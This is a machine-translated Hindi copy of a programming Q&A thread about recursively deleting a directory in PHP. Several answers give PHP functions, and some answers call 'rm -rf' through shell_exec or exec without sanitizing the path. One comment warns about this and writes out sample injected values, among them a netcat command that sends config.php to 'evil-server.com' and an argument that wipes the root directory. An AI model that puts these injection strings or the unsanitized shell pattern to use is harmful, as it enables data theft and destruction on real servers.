2009-09-10 14 views
26

मैं PHP का उपयोग कर रहा एक छवियों की सामग्री को स्थानांतरित करने के लिए किसी अन्य फ़ोल्डर मेंPHP के लिए एक रिकर्सिव हटाने निर्देशिका फ़ंक्शन?

GalleryName/images/

सबफ़ोल्डर। चाल के बाद, मुझे गैलरी नाम निर्देशिका और उसके अंदर बाकी सब कुछ हटाने की आवश्यकता है।

मुझे पता है कि rmdir() तब तक काम नहीं करेगा जब तक कि निर्देशिका खाली न हो। मैंने शीर्ष पर से scandir() पर एक रिकर्सिव फ़ंक्शन बनाने का प्रयास किया है और फिर unlink() यदि यह एक फ़ाइल है और scandir() है तो यह एक निर्देशिका है, तो rmdir() प्रत्येक खाली निर्देशिका जैसा मैं जाता हूं।

अभी तक यह बिल्कुल सही काम नहीं कर रहा है, और मुझे लगता है कि - यह एक हास्यास्पद सरल कार्य नहीं है कि PHP करने में सक्षम होना चाहिए? एक निर्देशिका को हटा रहा है?

तो क्या मुझे कुछ याद आ रही है? या क्या कम से कम एक सिद्ध कार्य है जो लोग इस कार्रवाई के लिए उपयोग करते हैं?

किसी भी मदद की सराहना की जाएगी।

पीएस मैं आपको php.net साइट पर टिप्पणियों से अधिक पर भरोसा करता हूं - वहां सैकड़ों कार्य हैं लेकिन मुझे यह जानने में दिलचस्पी है कि आप में से कोई भी दूसरों पर एक की सिफारिश करता है या नहीं।

+3

आप shell_exec() के साथ एक 'rm -fr' समारोह विचार किया है? सबसे अच्छा तरीका नहीं है, लेकिन अगर आप अब क्या कर रहे हैं, तो यह ठीक काम करता है। – rogeriopvl

उत्तर

14

यह एक पुनरावर्ती कार्य है जिसे मैंने बनाया/संशोधित किया है और अंत में यह काम करता प्रतीत होता है। उम्मीद है कि इसमें कुछ भी खतरनाक नहीं है।

public static function deleteDir($path) { 
    if (!is_dir($path)) { 
     throw new InvalidArgumentException("$path is not a directory"); 
    } 
    if (substr($path, strlen($path) - 1, 1) != '/') { 
     $path .= '/'; 
    } 
    $dotfiles = glob($path . '.*', GLOB_MARK); 
    $files = glob($path . '*', GLOB_MARK); 
    $files = array_merge($files, $dotfiles); 
    foreach ($files as $file) { 
     if (basename($file) == '.' || basename($file) == '..') { 
      continue; 
     } else if (is_dir($file)) { 
      self::deleteDir($file); 
     } else { 
      unlink($file); 
     } 
    } 
    rmdir($path); 
} 
+0

यह फ़ंक्शन खतरनाक है, $ आइटम की बजाय $ फ़ाइल होना चाहिए! सबसे कम कोड के लिए – johndodo

0

मैं एक समारोह जो डॉट उपसर्ग के साथ छिपा यूनिक्स फ़ाइलों को संभालती है और का उपयोग करता ग्लोब अनुकूलित है?

foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dirPath, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST) as $path) { 
     $path->isDir() && !$path->isLink() ? rmdir($path->getPathname()) : unlink($path->getPathname()); 
} 
rmdir($dirPath); 
83

क्या इस एक मुद्दे के बारे में:

function destroy_dir($dir) { 
    if (!is_dir($dir) || is_link($dir)) return unlink($dir); 
    foreach (scandir($dir) as $file) { 
     if ($file == '.' || $file == '..') continue; 
     if (!destroy_dir($dir . DIRECTORY_SEPARATOR . $file)) { 
      chmod($dir . DIRECTORY_SEPARATOR . $file, 0777); 
      if (!destroy_dir($dir . DIRECTORY_SEPARATOR . $file)) return false; 
     }; 
    } 
    return rmdir($dir); 
} 
+12

+1 और शायद सबसे अच्छा और तेज़ कामकाजी समाधान :) – tftd

+1

अच्छा है, आरएमडीआईआर ($ डीआईआरपाथ) को आगे बढ़ाने के लिए मत भूलना, अन्यथा, यह केवल फाइलों को हटा देगा। – Ant

+0

@Cooluhuru जोड़ा rmdir() कॉल। धन्यवाद! – barbushin

2

आवेदन के सर्वर लिनक्स चलाता है, तो सिर्फ shell_exec() फ़ंक्शन का उपयोग, और यह rm आर आदेश प्रदान करते हैं, इस तरह:

shell_exec("rm ".$dir_path." -R"); 

स्पष्टीकरण:

समारोह लिनक्स में सीधे डाला गया आदेश चलाएगा। यह वही चीज है जो लिनक्स टर्मिनल में कमांड चलाती है।

आदेश rm एक फ़ाइल या निर्देशिका $dir_path में पारित कर दिया और विकल्प -R बताता यह रिकर्सिवली चलाने के लिए सिस्टम को हटा दें।

+1

कहां से '$ dir_path' आता है, आप एक बहुत बड़ी सुरक्षा समस्या पेश कर सकते हैं। मान लीजिए, मैं किसी भी तरह 'dir_path =" -F --no-preserve-root/"; 'या शायद सिर्फ $ $ dir_path ="; cat config/config.php | nc evil-server.com 80; ";' अच्छा, संभावनाएं अनंत हैं। – amenthes

0

मैं php मदद से ली गई एक enhaced विधि पसंद करते हैं मेरे निर्णय के लिए पृष्ठों http://php.net/manual/en/function.rmdir.php#115598

// check accidential empty, root or relative pathes 
if (!empty($path) && ...) 
{ 
    if (PHP_OS === 'Windows') 
    { 
    exec('rd /s /q "'.$path.'"'); 
    } 
    else 
    { 
     exec('rm -rf "'.$path.'"'); 
    } 
} 
else 
{ 
    error_log('path not valid:$path'.var_export($path, true)); 
} 

कारण हैं:

+०१२३५१६४१०६१
  • कम कोड
  • गति
  • रखने इसे सरल
संबंधित मुद्दे